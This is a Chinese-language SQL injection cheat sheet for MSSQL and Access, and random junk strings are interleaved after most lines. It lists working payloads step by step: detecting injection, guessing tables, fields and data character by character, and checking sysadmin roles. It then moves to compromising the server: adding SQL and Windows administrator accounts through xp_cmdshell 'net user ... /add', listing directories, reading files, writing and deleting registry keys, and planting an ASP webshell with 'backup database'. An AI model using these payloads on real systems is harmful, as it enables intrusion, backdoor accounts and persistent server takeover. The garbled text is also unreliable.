1.判断是否有注入;and 1=1 ;and 1=2 a.<!>o<t:
2.初步判断是否是mssql ;and user>0 wS2N,X/Y
+c'I7bBr
3.注入参数是字符'and [查询条件] and ''=' Mf:x9#
F fzY3r+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' wRWKem=
|?fc]dl1]
5.判断数据库系统 KueI*\ p
iow8H' F
;and (select count(*) from sysobjects)>0 mssql =66,$~g{
]o8~b-
;and (select count(*) from msysobjects)>0 access V[|k:($
-}JRsQ+rgM
lce~6}
!hPe*pPVV)
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ^q~.5c|
j%0g*YI
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 RG_)<U/B
V> eJ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 E<_+Tc
!I8(Y
9.(1)猜字段的ascii值(access) r,Pu-bhF
_`94CC:
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 cW $~86u"C
9;c]_zt
(2)猜字段的ascii值(mssql) -E!V;Tgc%U
h9{'w
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \=g%W^i
E?f*Z{~,
10.测试权限结构(mssql) M7lMOG(\
@l2AL9z$m>
\-s'H:
3412znM&
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- "V_PWEi
_bq2h%G=8
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Eh;~y*k\
|c>A3 P$=B
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )6zwprH!
HaamLu
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 65A>p:OO
e.g$|C^$m
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- (3G]-
k@R)_,2HH
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- D#9W [6
_^ @}LVv+E
;and 1=(select IS_MEMBER('db_owner'));-- 0:Lm=9o
\+w -{"u$
0ID
8L
[
]pA}h.R#-
11.添加mssql和系统的帐户 <<![3&p#
Ts:pk
;exec master.dbo.sp_addlogin username;-- WS0RvBvb
;exec master.dbo.sp_password null,username,password;-- Wm ?RB0
,
v6[#NU_Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- U`"nX)$
Ih95&HsdC
;exec master.dbo.xp_cmdshell 'net user username password c~Hq.K$d
LNU9M>
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- V#6`PD6
= %7:[#n
;exec master.dbo.xp_cmdshell 'net user username password /add';-- "|"bo5M:
F;&'C$%
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- WYE[H9x1?
Im_`q\i
MgLz:2
:F
qx/GioPU
12.(1)遍历目录
/m*vY`
akQtre`5sd
;create table dirs(paths varchar(100), id int) Hw/1~O$T
oZ~M`yOz.
;insert dirs exec master.dbo.xp_dirtree 'c:\' ^\\cGJ&8c
T3{qn$t8
;and (select top 1 paths from dirs)>0 jX{lo
$wVY)p9Q
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) c>3W1"
Wcn^IQ
@ B3@M
.Isg1qrC
(2)遍历目录 : C;=<$
;xa]ke3]
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- _B|g)Rdv
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 #,qikKjt2
HWGlC <
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
n/UyMO3=
BiHBu8<
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 _" F(w"|
rC<m6
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 QTK{JZf
=N
n0)l
_Oq (&I
g!%csf
13.mssql中的存储过程 c66Iy"
:/Nz' n
xp_regenumvalues 注册表根键, 子键 ou-5iH?
D1lHq/
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 bd<zn*HZ*
Oy[t}*Ik
xp_regread 根键,子键,键值名 J2H8r 'T
J(-#(kMyf
;exec xp_regread $X-,6*
Fu m1w
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ^ yu^Du
h_d!G+-]
xp_regwrite 根键,子键, 值名, 值类型, 值 qx53,^2
Z!|nc.
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /)y~%0
/{1 xpR
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 mrd(\&EhA
4k$BqM1
xp_regdeletevalue 根键,子键,值名 JUU0Tx:`9)
)CXJRo`j0
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 |g4!Yd
Cl>'K*$F
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Z)7
{e"5d
9^s
sT>&/
ZwF_hm=/[
?^IM2}(p
14.mssql的backup创建webshell Mk[_yqoCO
Q9#$4
use model vC J
**0Y*Ax@
create table cmd(str image); <6n(a)L1
-F|(Y1OE
insert into cmd(str) values (''); 'n.eCdj
<h7C_^L10\
backup database model to disk='c:\l.asp'; ;Cyt2]F
t_@%4Wn!1L
D@d/O
$o1Gxz
15.mssql内置函数 &sWq SS
}[l`R{d5q>
;and (select @@version)>0 获得Windows的版本号 Q} f=Ye(&}
='OPU5(;O
;and user_name()='dbo' 判断当前系统的连接用户是不是sa tq>QZEg
"2 qp-'^[c
;and (select user_name())>0 爆当前系统的连接用户 &Cdk%@Tj]B
A@du*5>(
;and (select db_name())>0 得到当前连接的数据库 HK5\i@G+<
A*~zdZ p
`Nu3s<O7CF
=?T'@C
16.简洁的webshell Scs \nF2
;9 XM
s)
use model Y R#_<o
Kv!CL9^LX7
create table cmd(str image); Ck(D:
% ~s
Gv6EJV1i
insert into cmd(str) values (''); eH=lX9
3MiNJi#=2
backup database model to disk='g:\wwwtest\l.asp';